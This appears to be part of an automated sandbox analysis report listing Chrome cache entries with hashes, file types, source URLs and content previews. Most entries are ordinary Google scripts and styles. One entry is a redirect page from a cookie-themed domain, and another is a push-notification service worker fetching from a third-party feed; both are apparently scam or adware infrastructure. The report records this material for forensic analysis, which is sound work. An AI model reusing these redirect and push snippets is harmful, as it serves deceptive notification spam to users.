SHA1:	335C194188FDD5673BD71181F6FD7C54D2646991
SHA-256:	675C80D45B6C8ED9935394BCA8AB7B42A00F21C4393F1535033CC78473682568
SHA-512:	297E8794811226EF803D399D88B33BC77C54499CB7FB366FA84E2DBCFCF255A32114B36E4FCA333B9E58286D185834518E9C01EF82282CE86D47988DA8C20722
Malicious:	false
Reputation:	unknown
URL:	"https://www.google.com/async/hpba?vet=10ahUKEwispuqMtumKAxU90gIHHW45O6wQj-0KCBc..i&ei=DCqAZ6zwE72ki-gP7vLs4Qo&opi=89978449&yv=3&sp_imghp=false&sp_hpte=1&sp_hpep=1&stick=&cs=0&async=_basejs:%2Fxjs%2F_%2Fjs%2Fk%3Dxjs.hd.en_US.yED1bQmop1c.es5.O%2Fam%3DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAABQAAACAAAAAAAIAAAIAAABAEAAgCAAAAQAAACwAAACCAwABAAAEAABAAOBRpgAIEAEAAAAAEABAACkAAAAgAAAAgAAAAAAAABQAAAAAAAQAAAAAgAAAAAQIAAAAAAAAAAAAEAAAgB4AAAAAAAAAICAAAGAYGIAAAAAAAABADwDBAzCksAAAAAAAAAAAAAAAACBAgmAuJCAgAAEAAAAAAAAAAAAAAAAAINLEhQ0%2Fdg%3D0%2Fbr%3D1%2Frs%3DACT90oHkfgRV1OBcWHd80x2qTEFaVNi9CQ,_basecss:%2Fxjs%2F_%2Fss%2Fk%3Dxjs.hd.PR8sssJj8cQ.L.B1.O%2Fam%3DCEgVAAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAEGAnAAAYAMAOAAIAAAIAAwAAAIAACAAAAAiAACgEAMAAAgAIAAAHAAIAAAAAgMAKAAAE5ACAEoAEkB8AQAEBABAAgAAgwKAhEBVAKAAQAAAAAAAACAAAAAwBIBAAoAMgAAwAUQAAhB4IAAAAACAIAICdAWAYGIAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAKAAAAAAAAAAAAAAAAAAAAAAIA%2Fbr%3D1%2Frs%3DACT90oHXZoKjMcEpu0YEbsQ00ks2_tkm7Q,_basecomb:%2Fxjs%2F_%2Fjs%2Fk%3Dxjs.hd.en_US.yED1bQmop1c.es5.O%2Fck%3Dxjs.hd.PR8sssJj8cQ.L.B1.O%2Fam%3DCEgVAAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAEHQnAACYAMAOAAIAAAIAAwBAEIAgCAAAAQiAACwEAMCCAwAJAAAHAAJAAOBRpsAKEAEE5ACAEoBEkD8AQAEhABAAgAAgwKAhEBVAKAAQAAQAAAAAiAAAAAwJIBAAoAMgAAwAUQAAhB4IAAAAACAIIKCdAWAYGIAAAAAAAABADwDBAzCksAAAAAAAAAAAAAAAACBAgmAuJKAgAAEAAAAAAAAAAAAAAAAAINLEhQ0%2Fd%3D1%2Fed%3D1%2Fdg%3D0%2Fbr%3D1%2Fujg%3D1%2Frs%3DACT90oEWoqIFLneE67tRT2oTVrFsEur5mw,_fmt:prog,_id:_DCqAZ6zwE72ki-gP7vLs4Qo_9"
Preview:	)]}'.21;["EiqAZ9ScLOeQ-d8P_fz_SA","2148"]c;[2,null,"0"]1b;<div jsname="Nll0ne"></div>c;[9,null,"0"]0;

Chrome Cache Entry: 140

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1136)
Category:	dropped
Size (bytes):	1555
Entropy (8bit):	5.249530958699059
Encrypted:	false
SSDEEP:
MD5:	FBE36EB2EECF1B90451A3A72701E49D2
SHA1:	AE56EA57C52D1153CEC33CEF91CF935D2D3AF14D
SHA-256:	E8F2DED5D74C0EE5F427A20B6715E65BC79ED5C4FC67FB00D89005515C8EFE63
SHA-512:	7B1FD6CF34C26AF2436AF61A1DE16C9DBFB4C43579A9499F4852A7848F873BAC15BEEEA6124CF17F46A9F5DD632162364E0EC120ACA5F65E7C5615FF178A248F
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html lang=en>. <meta charset=utf-8>. <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width">. <title>Error 400 (Bad Request)!!1</title>. <style>. {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//ww

Chrome Cache Entry: 141

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (537)
Category:	downloaded
Size (bytes):	1522
Entropy (8bit):	5.053722775382027
Encrypted:	false
SSDEEP:
MD5:	7E9546C63B07B96600C05B908364F275
SHA1:	CC9808E668D3410B4127153CF092E8E7BCEB7748
SHA-256:	CE1C16FA254C19A3BD16DD634034CBE4E9A92A6D0712D5C7435B88078CAE16CD
SHA-512:	65C2A9D75D57F8E994BF8465474E803E1662912CF6E489349F7F943615278BE0B3491557B0BDC797AF8C0EDB1A3CB6ACC7FE360172EF184F6BB43E5443817769
Malicious:	false
Reputation:	unknown
URL:	https://www.google.com/xjs/_/js/k=xjs.hd.en_US.yED1bQmop1c.es5.O/am=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAABQAAACAAAAAAAIAAAIAAABAEAAgCAAAAQAAACwAAACCAwABAAAEAABAAOBRpgAIEAEAAAAAEABAACkAAAAgAAAAgAAAAAAAABQAAAAAAAQAAAAAgAAAAAQIAAAAAAAAAAAAEAAAgB4AAAAAAAAAICAAAGAYGIAAAAAAAABADwDBAzCksAAAAAAAAAAAAAAAACBAgmAuJCAgAAEAAAAAAAAAAAAAAAAAINLEhQ0/d=0/dg=0/br=1/rs=ACT90oHkfgRV1OBcWHd80x2qTEFaVNi9CQ/m=aLUfP?xjs=s4
Preview:	this._hd=this._hd\|\|{};(function(_){var window=this;.try{._.y("aLUfP");.var Qsb=function(a){this.Wr=a};var Rsb=function(a){_.Kn.call(this);var b=this;this.window=a.service.window.get();this.wa=this.Wr();this.oa=window.orientation;this.ka=function(){var c=b.Wr(),d="orientation"in window&&Math.abs(window.orientation)===90&&b.oa===-1window.orientation;b.oa=window.orientation;if(c!==b.wa\|\|d){b.wa=c;d=_.hb(b.listeners);for(var e=d.next();!e.done;e=d.next()){e=e.value;var f=new Qsb(c);try{e(f)}catch(g){_.ca(g)}}}};this.listeners=new Set;this.window.addEventListener("resize",this.ka);"orientation"in window&&.this.window.addEventListener("orientationchange",this.ka)};_.D(Rsb,_.Ln);Rsb.Ia=function(){return{service:{window:_.Mn}}};_.m=Rsb.prototype;_.m.addListener=function(a){this.listeners.add(a)};_.m.removeListener=function(a){this.listeners.delete(a)};._.m.Wr=function(){if(_.ua()&&_.pa()&&!navigator.userAgent.includes("GSA")){var a=_.Vk(this.window);a=new _.Nk(a.width,Math.round(a.widththis.

Chrome Cache Entry: 144

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4238), with no line terminators
Category:	downloaded
Size (bytes):	4238
Entropy (8bit):	5.5311629827397715
Encrypted:	false
SSDEEP:
MD5:	F4C8C06B68FFF954F98AD5909CE87015
SHA1:	E23BC22AD74A915E4908DF3719DAE88A0BEA108B
SHA-256:	3D63867F1EEBBD1D1307A0BE85D82ECA53D4DFD5B00AB5B4910CFBADB3B28EBF
SHA-512:	FED0ADD8260163BCD64E210C8324B5E36FBFE26785CBCC42C041853FC644A2124DF497556E11A5029576D41C8C666800912F95B4C353F1BF6A8DB126C24FDC64
Malicious:	false
Reputation:	unknown
URL:	"https://www.google.com/xjs/_/ss/k=xjs.hd.PR8sssJj8cQ.L.B1.O/am=CEgVAAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAEGAnAAAYAMAOAAIAAAIAAwAAAIAACAAAAAiAACgEAMAAAgAIAAAHAAIAAAAAgMAKAAAE5ACAEoAEkB8AQAEBABAAgAAgwKAhEBVAKAAQAAAAAAAACAAAAAwBIBAAoAMgAAwAUQAAhB4IAAAAACAIAICdAWAYGIAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAKAAAAAAAAAAAAAAAAAAAAAAIA/d=1/ed=1/br=1/rs=ACT90oHXZoKjMcEpu0YEbsQ00ks2_tkm7Q/m=cdos,hsm,jsa,mb4ZUb,cEt90b,SNUn3,qddgKe,sTsDMc,dtl0hd,eHDfl,YV5bee,d,csi"
Preview:	:root{--COEmY:#1f1f1f;--xhUGwc:#fff}:root{--vZe0jb:#a8c7fa;--nwXobb:#638ed4;--VuZXBd:#001d35;--uLz37c:#545d7e;--jINu6c:#001d35;--TyVYld:#0b57d0;--ZEpPmd:#c3d9fb;--QWaaaf:#638ed4;--DEeStf:#f5f8ff;--TSWZIb:#e5edff;--BRLwE:#d3e3fd;--gS5jXb:#dadce0;--Aqn7xd:#d2d2d2;--EpFNW:#fff;--IXoxUe:#5e5e5e;--bbQxAb:#474747;--YLNNHc:#1f1f1f;--TMYS9:#0b57d0;--JKqx2:#1a0dab;--rrJJUc:var(--Nsm0ce);--mXZkqc:#d2d2d2;--Nsm0ce:#0b57d0;--XKMDxc:#f3f5f6;--aYn2S:#f3f5f6;--Lm570b:#dee1e3}.zJUuqf{margin-bottom:4px}.AB4Wff{margin-left:16px}.OhScic{margin:0px}.v0rrvd{padding-bottom:16px}.zsYMMe{padding:0px}.wHYlTd{font-family:Roboto,Arial,sans-serif;font-size:14px;line-height:22px}.yUTMj{font-family:Roboto,Arial,sans-serif;font-weight:400}.VDgVie{text-align:center}.TUOsUe{text-align:left}@keyframes g-snackbar-show{from{pointer-events:none;transform:translateY(0)}to{transform:translateY(-100%)}}@keyframes g-snackbar-hide{from{transform:translateY(-100%)}to{transform:translateY(0)}}@keyframes g-snackbar-show-content{f

Chrome Cache Entry: 145

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	531
Entropy (8bit):	4.832020907712339
Encrypted:	false
SSDEEP:
MD5:	FA8553A1173A5618B6C92960EE464D86
SHA1:	9B4217715BE89911BD2A399CE498ED6CCB47E5BD
SHA-256:	3F841E308C26CDEE9823AD8ECBF9835364090AC29913B7FDA7A5962EDD98CD04
SHA-512:	34F39EE6365A3213E66EF2F1F38713428310FC004173F61672563F208C136143B1F1628718F88AF07D77A143ADE7825E147BFDFC7D15D7DCB0F3EF4C301B4DCA
Malicious:	false
Reputation:	unknown
URL:	https://authmycookie.com/rt4.php?r3=CRA6RBIOEBoKTENdFwoWHU9GXQBcXVdeVkIDBQxYX19QXFEcU19SXVo6WEAbDwtQCQAcUwMICx8MAVcHD0U%3D&u=r2_40408b87-d092-48a7-8786-bc9345872096
Preview:	.<html> . <head> . <title></title> . <meta name="referrer" content="no-referrer" />. <script>. window.location = "https://breakpoint.goalkedf.cfd/help/?32171731928960";. </script>. </head> . <body bgcolor="#ffffff">. The contents you are looking for have moved. You will be redirected to the new location automatically in 1 seconds.. <p>If your browser doesn't redirect you to the new location please <a href="https://breakpoint.goalkedf.cfd/help/?32171731928960"><b>click here.</b></a></p>. </body> .</html>.

Chrome Cache Entry: 146

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (621)
Category:	downloaded
Size (bytes):	1007049
Entropy (8bit):	5.686287457025144
Encrypted:	false
SSDEEP:
MD5:	37B98EFDEE8DDAEAD472187D305CCEE9
SHA1:	1B3E7D838BAFC645C83A559A2D858A13255A8ADC
SHA-256:	B5671EB1C77EF31BBA03206BFBB4935D9F93DDDF187A8A87C60D59A917FB99D9
SHA-512:	2893D350B2344B2C63AEF215F72C11DEA49F065AE0DD15E9E790A95CB9D886A4C40BA2AB672E42FF5FE624C94BEB87EC00929AAA9997078F02318BBBD512A1B7
Malicious:	false
Reputation:	unknown
URL:	"https://www.google.com/xjs/_/js/k=xjs.hd.en_US.yED1bQmop1c.es5.O/am=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAABQAAACAAAAAAAIAAAIAAABAEIAgCAAAAQAAACwAAACCAwABAAAEAABAAOBRpgAIEAEAAAAAEABAACkAAAAgAAAAgAAAAAAAABQAAAAAAAQAAAAAgAAAAAQIAAAAAAAAAAAAEAAAgB4AAAAAAAAAICAAAGAYGIAAAAAAAABADwDBAzCksAAAAAAAAAAAAAAAACBAgmAuJKAgAAEAAAAAAAAAAAAAAAAAINLEhQ0/d=1/ed=1/dg=3/br=1/rs=ACT90oEZ3M-oiufuxE8dgFv8LFg2-7-eBQ/ee=ALeJib:B8gLwd;AfeaP:TkrAjf;BMxAGc:E5bFse;BgS6mb:fidj5d;BjwMce:cXX2Wb;CxXAWb:YyRLvc;DMzTfb:fNTHad;DULqB:RKfG5c;Dkk6ge:JZmW9e;DpcR3d:zL72xf;EABSZ:MXZt9d;ESrPQc:mNTJvc;EVNhjf:pw70Gc;EmZ2Bf:zr1jrb;EnlcNd:WeHg4;F9mqte:UoRcbe;Fmv9Nc:O1Tzwc;G0KhTb:LIaoZ;G6wU6e:hezEbd;GleZL:J1A7Od;HMDDWe:G8QUdb;HoYVKb:PkDN7e;HqeXPd:cmbnH;IBADCc:RYquRb;IoGlCf:b5lhvb;IsdWVc:qzxzOb;JXJSm:ii1RGf;JXS8fb:Qj0suc;JbMT3:M25sS;JsbNhc:Xd8iUd;K5nYTd:ZDZcre;KOxcK:OZqGte;KQzWid:ZMKkN;KcokUb:KiuZBf;KpRAue:Tia57b;LBgRLc:SdcwHb,XVMNvd;LEikZe:byfTOb,lsjVmc;LXA8b:q7OdKd;LsNahb:ucGLNb;Me32dd:MEeYgc;NPKaK:SdcwHb;NSEoX:lazG7b;Np8Qkd:Dpx6qc;Nyt6ic:jn2sGd;OgagBe:cNTe0;OohIYe:mpEAQb;Pjplud:EEDORb,PoEs9b;Q1Ow7b:x5CSu;Q6C5kf:pfdZCe;QGR0gd:Mlhmy;R2kc8b:ALJqWb;R4IIIb:QWfeKf;R9Ulx:CR7Ufe;RCF5Sd:X1kBmd;RDNBlf:zPRCJb;SLtqO:Kh1xYe;SMDL4c:fTfGO,fTfGO;SNUn3:ZwDk9d,x8cHvb;ScI3Yc:e7Hzgb,e7Hzgb;ShpF6e:N0pvGc;SzQQ3e:dNhofb;TxfV6d:YORN0b;U96pRd:FsR04;UBKJZ:LGDJGb;UDrY1c:eps46d;UVmjEd:EesRsb;UVzb9c:IvPZ6d;Uvc8o:VDovNc;UyG7Kb:wQd0G;V2HTTe:RolTY;VGRfx:VFqbr;VN6jIc:ddQyuf;VOcgDe:YquhTb;VhA7bd:vAmQFf;VsAqSb:PGf2Re;VxQ32b:k0XsBb;WCEKNd:I46Hvd;WDGyFe:jcVOxd;Wfmdue:g3MJlb;XUezZ:sa7lqb;YIZmRd:A1yn5d;YV5bee:IvPZ6d;YkQtAf:rx8ur;ZSH6tc:QAvyLe;ZWEUA:afR4Cf;ZlOOMb:P0I0Ec;a56pNe:JEfCwb;aAJE9c:WHW6Ef;aCJ9tf:qKftvc;aZ61od:arTwJ;af0EJf:ghinId;bDXwRe:UsyOtc;bcPXSc:gSZLJb;cEt90b:ws9Tlc;cFTWae:gT8qnd;coJ8e:KvoW8;dIoSBb:ZgGg9b;dLlj2:Qqt3Gf;dowIGb:ebZ3mb,ebZ3mb;dtl0hd:lLQWFe;eBAeSb:Ck63tb;eBZ5Nd:audvde;eHDfl:ofjVkb;eO3lse:nFClrf;euOXY:OZjbQ;g8nkx:U4MzKc;gaub4:TN6bMe;gtVSi:ekUOYd;h3MYod:cEt90b;hK67qb:QWEO5b;heHB1:sFczq;hjRo6e:F62sG;hlqGX:FWz1ic;hsLsYc:Vl118;hwoVHd:zw4U8c;iFQyKf:QIhFr,vfuNJf;imqimf:jKGL2e;jY0zg:Q6tNgc;k2Qxcb:XY51pe;kCQyJ:ueyPK;kbAm9d:MkHyGd;lOO0Vd:OTA3Ae;lbfkyf:MqGdUd;nAFL3:NTMZac,s39S4;nJw4Gd:dPFZH;oGtAuc:sOXFj;oSUNyd:fTfGO,fTfGO;oUlnpc:RagDlc;oVHXxc:HODIOb;okUaUd:wItadb;pKJiXd:VCenhc;pNsl2d:j9Yuyc;pXdRYb:JKoKVe;pj82le:ww04Df;qZx2Fc:j0xrE;qaS3gd:yiLg6e;qafBPd:sgY6Zb,yDVVkb;qavrXe:zQzcXe;qddgKe:d7YSfd,x4FYXe;rQSrae:C6D5Fc;ropkZ:UT1DG;sTsDMc:kHVSUb;sZmdvc:rdGEfc;tH4IIe:Ymry6;tosKvd:ZCqP3;trZL0b:qY8PFe;uuQkY:u2V3ud;vEYCNb:FaqsVd;vGrMZ:lPJJ0c;vfVwPd:lcrkwe;w3bZCb:ZPGaIb;w4rSdf:XKiZ9;w9w86d:dt4g2b;wQlYve:aLUfP;wR5FRb:O1Gjze,TtcOte;wV5Pjc:L8KGxe;xBbsrc:NEW1Qc;ysNiMc:CpIBjd;yxTchf:KUM7Z;z97YGf:oug9te;zOsCQe:Ko78Df;zaIgPb:Qtpxbd/m=cdos,hsm,jsa,mb4ZUb,cEt90b,SNUn3,qddgKe,sTsDMc,dtl0hd,eHDfl,YV5bee,d,csi"
Preview:	this._hd=this._hd\|\|{};(function(_){var window=this;.try{./.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. Copyright Google LLC. SPDX-License-Identifier: Apache-2.0././.. Copyright 2024 Google, Inc. SPDX-License-Identifier: MIT././. SPDX-License-Identifier: Apache-2.0././. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var baa,caa,iaa,uaa,waa,Baa,Iaa,Kaa,Oaa,Xaa,Zaa,aba,dba,eba,iba,oba,kba,lba,sba,tba,wba,zba,Aba,yba,Bba,Dba,uba,Fba,Gba,Jba,Kba,ob,Nba,Rba,Sba,Uba,Xba,Yba,Zba,aca,bca,dca,fca,ica,ub,tca,uca,vca,wca,xca,rca,yca,oca,zca,nca,pca,qca,Aca,Bca,Cca,Mca,Oca,Qca,Rca,Vca,Yca,Sca,Xca,Wca,Uca,Tca,Zca,$ca,ada,bda,gda,hda,mda,nda,oda,pda,qda,rda,sda,vda,xda,wda,zda,Bda,Ada,Dda,Cda,Gda,Fda,Ida,Lda,Nda,Mb,Rda,Uda,bea,cea,eea,Lb,Oda,gea,kea,qea,Wb,uea,xea,wea,Eea,Gea,Hea,Rea,Uea,Vea,Xea,$ea,cfa,dfa,efa,ffa,mfa,tfa,.yfa,Afa,Cfa,Dfa,Efa,Ffa,Hfa,Jfa,Qfa,Rfa,Tfa,Wfa,Xfa,Zfa,oga,pga,tga,sga,Nc,Kga,Mga,Pga,Tc,Yga,$ga,

Chrome Cache Entry: 147

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	2203
Entropy (8bit):	4.313924589577367
Encrypted:	false
SSDEEP:
MD5:	FDF55D076DD9F2E45DBF3551F7EA856D
SHA1:	3E8CB6EEAE43EC49B2598F757C3866E35892BCB1
SHA-256:	BAEAF300ECB39F7B6FDE21373D0A318654D61851CF597736D5878CDD5E8C2FA7
SHA-512:	D84DBA577D5B7304B516FEE30614D805E3680D6F1659C14BB353F05A60366565800E165152B62EC34897DEA8A105DE815C9750AA17D4B6EE5B9A6BF07C5F37D6
Malicious:	false
Reputation:	unknown
URL:	https://fly.asssing.shop/sw.js?v=1736452585213
Preview:	/* global fetch, Promise */..self.addEventListener('push', function(e) {. var FEED_URL = 'https://feed.chimukappa.com/feed.php?v=1731923398&ep=';. var ERROR_URL = 'https://feed.chimukappa.com/e.php?m=';. var promise, data, options;.. if (e.data) {. try {. data = e.data.json();. } catch (err) {. return e.waitUntil(fetch(ERROR_URL + encodeURIComponent(err)));. }. options = {. requireInteraction: true,. vibrate: [100, 50, 100],. data: {. destination: data.destination. },. actions: [. { title: 'Details', action: 'details' },. { title: 'Dismiss', action: 'dismiss' }. ]. };.. ['body', 'icon', 'image', 'badge'].forEach(function (prop) {. if (data[prop]) {. options[prop] = data[prop];. }. });.. promise = Promise.resolve({. title: data.title,.

Chrome Cache Entry: 149

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	dropped
Size (bytes):	660
Entropy (8bit):	7.7436458678149815
Encrypted:	false
SSDEEP:
MD5:	C3DFF0D9F30EC0BCF4DEC9524505916B
SHA1:	4B378403ACBEBC3747E08C69B5FD7770A850C9EB
SHA-256:	73D788F86BE22112BB53762545989C0F1BBDB7343161130952C9BA3834FF81E3
SHA-512:	677EA304D00D176ACF61FF68BF23BD5F77AD2928D7DE9F4B842292BC9D3FB7029FE9F578B62F142DCE689230F392E828098EED3484FE2DBEE6E1A7AA5378E2C6
Malicious:	false
Reputation:	unknown
Preview:	RIFF....WEBPVP8L..../'....Hv.=n.......Q...a..(Rv.o..U.....l..m........0l.6l..f.......A?B.C.A...2h..Ag0....G8.n#)R.j.x..P.F..I;.Ox......7-...bX./..]...3..T....5...x...G.C....%.u.....u/._.=....<!q.\...9.....\....p:..P.4.aS.N).>.>.."..9..Vh ....no....l.1..#6p\c..2..>..=8...........FP.^....+/.~......hs..D.Jm..9...r....t*.H..~T^\|.....l..l......he..}f....d.."....K...&1..................pl.Pf.%6...2X..I...eXQ(.K..1%c..w.s._..._K`K.1}..D.E=...<..ytM..>.q'.e.L.~$...b..;k.M.....t\O..m.I._..F....'........z.]..u?~..P.zJM.. k...p~9..D....".Zl$?f..+...\.Pg..%...;.[R>N.#.W.e..@q...(....]&......K.......?.\|.z..(...:&m.V.C.'...D^.R....

Chrome Cache Entry: 150

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2410)
Category:	downloaded
Size (bytes):	224762
Entropy (8bit):	5.52114622280691
Encrypted:	false
SSDEEP:
MD5:	323DDE90C858237C5174E1CB0BBDED35
SHA1:	0F3090962EDD3E47ED721EF248B683F2DD83C953
SHA-256:	4577767729240EB214BA320B65EB1FBBC9F700735ABBB525DBB4F54BDFAA6094
SHA-512:	E4869A750FC59EA032290144CF413878ECB001605FAE7481AAACBC9EC2AC6EFD79621036DCCAD98D00F7C074EB1D027110892C6AA18B3D244025CDCE782046DC
Malicious:	false
Reputation:	unknown
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.rX6uZdQxZxU.2019.O/rt=j/m=qabr,q_d,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qadd,qaid,qein,qhaw,qhba,qhbr,qhch,qhga,qhid,qhin/d=1/ed=1/rs=AA2YrTvH0Rknr6hXqx-tgqAUuIv05wLZhQ"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Ed=typeof AsyncContext!=="undefined"&&typeof AsyncContext.Snapshot==="function"?a=>a&&AsyncContext.Snapshot.wrap(a):a=>a;.}catch(e){_._DumpException(e)}.try{._.xe=function(a){return _.Nb(a)&&a.nodeType==1};_.ye=function(a,b){if("textContent"in a)a.textContent=b;else if(a.nodeType==3)a.data=String(b);else if(a.firstChild&&a.firstChild.nodeType==3){for(;a.lastChild!=a.firstChild;)a.removeChild(a.lastChild);a.firstChild.data=String(b)}else _.ue(a),a.appendChild(_.ke(a).createTextNode(String(b)))};var ze;_.Ae=function(a,b,c){Array.isArray(c)&&(c=c.join(" "));const d="aria-"+b;c===""\|\|c==void 0?(ze\|\|(ze={atomic:!1,autocomplete:"none",dropeffect:"none",haspopup:!1,live:"off",multiline:!1,multiselectable:!1,orientation:"vertical",readonly:!1,relevant:"additions text",required:!1,sort:"none",busy:!1,disabled:!1,hidden:!1,invalid:"false"}),c=ze,b in c?a.setAttribute(d,c[b]):a.removeAttribute(d)):a.setAttribute(d,c)};var Ee;_.De=func

Chrome Cache Entry: 151

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1395)
Category:	downloaded
Size (bytes):	117446
Entropy (8bit):	5.490775275046353
Encrypted:	false
SSDEEP:
MD5:	942EA4F96889BAE7D3C59C0724AB2208
SHA1:	033DDF473319500621D8EBB6961C4278E27222A7
SHA-256:	F59F7F32422E311462A6A6307D90CA75FE87FA11E6D481534A6F28BFCCF63B03
SHA-512:	C3F27662D08AA00ECBC910C39F6429C2F4CBC7CB5FC9083F63390047BACAF8CD7A83C3D6BBE7718F699DAE2ADA486F9E0CAED59BC3043491EECD9734EC32D92F
Malicious:	false
Reputation:	unknown
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.l2ZUC8FxqV8.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/rs=AHpOoo9xAAkaXO7Lqf7-9uTpZLtrkpWaXQ/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([]);.var ca,da,ha,ma,xa,Aa,Ba;ca=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);ma=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}};.ma("Symbol",function(a){if(a)return a;var b

Chrome Cache Entry: 152

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1689), with no line terminators
Category:	downloaded
Size (bytes):	1689
Entropy (8bit):	5.640520027557763
Encrypted:	false
SSDEEP:
MD5:	45DD7BD58C9F085DA52FA16A2A150066
SHA1:	9B5CF4B288EDE14AE8834F3EF2A58145B8EC8CBC
SHA-256:	0D5C53FCC37C7A2CE26367BBE6197FCD9272DD7EBC81823D088A4DFFF5AE599B
SHA-512:	520B8DF68524C2CEF393B837D7EAD0168028C94697E1DA0AC4BDDAFAB849D1B26D7E7933082146AE6A220A449F066CBBBA2EBFC6CC30D3F756FBD98EE061C8DF
Malicious:	false
Reputation:	unknown
URL:	"https://www.google.com/xjs/_/ss/k=xjs.hd.PR8sssJj8cQ.L.B1.O/am=CEgVAAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAEGAnAAAYAMAOAAIAAAIAAwAAAIAACAAAAAiAACgEAMAAAgAIAAAHAAIAAAAAgMAKAAAE5ACAEoAEkB8AQAEBABAAgAAgwKAhEBVAKAAQAAAAAAAACAAAAAwBIBAAoAMgAAwAUQAAhB4IAAAAACAIAICdAWAYGIAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAKAAAAAAAAAAAAAAAAAAAAAAIA/d=0/br=1/rs=ACT90oHXZoKjMcEpu0YEbsQ00ks2_tkm7Q/m=syjg,synm?xjs=s4"
Preview:	.MTIaKb,.LwDUdc,.FAoEle,.RlTCPd,.wPNfjb,.caNvfd,.Vnob4b,.bbxTBb,.DpgmK,.YKUhfb,.uNnvb,.aVsZpf,.RoOVmf,.dIfvQd,.V3Ezn,.Enb9pe,.mYuoaf,.kJSB8,.tUr4Kc,.iQMtqe{--Yi4Nb:var(--mXZkqc);--pEa0Bc:var(--bbQxAb);--kloG3:var(--mXZkqc);--YaIeMb:var(--XKMDxc);--Pa8Wlb:var(--Nsm0ce);--izGsqb:var(--Nsm0ce);--todMNcl:var(--EpFNW);--p9J9c:var(--Nsm0ce)}:root{--KIZPne:#a3c9ff;--xPpiM:#001d35;--Ehh4mf:var(--Nsm0ce)}:root{--Yi4Nb:#d2d2d2;--pEa0Bc:#474747;--kloG3:#d2d2d2;--YaIeMb:#f7f8f9;--Pa8Wlb:#0b57d0;--izGsqb:#0b57d0;--todMNcl:#fff;--p9J9c:#0b57d0}.EpPYLd{display:block;position:relative}.YpcDnf{padding:0 16px;vertical-align:middle}.YpcDnf.HG1dvd{padding:0}.HG1dvd>*{padding:0 16px}.WtV5nd .YpcDnf{padding-left:28px}.Zt0a5e .YpcDnf{line-height:48px}.GZnQqe .YpcDnf{line-height:23px}.EpPYLd:hover{cursor:pointer}.EpPYLd,.CB8nDe:hover{cursor:default}.LGiluc,.EpPYLd[disabled]{pointer-events:none;cursor:default}@media (forced-colors:active){.EpPYLd[disabled]{color:GrayText}}.LGiluc{border-top:1px solid;height:0;

Chrome Cache Entry: 154

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15344, version 1.0
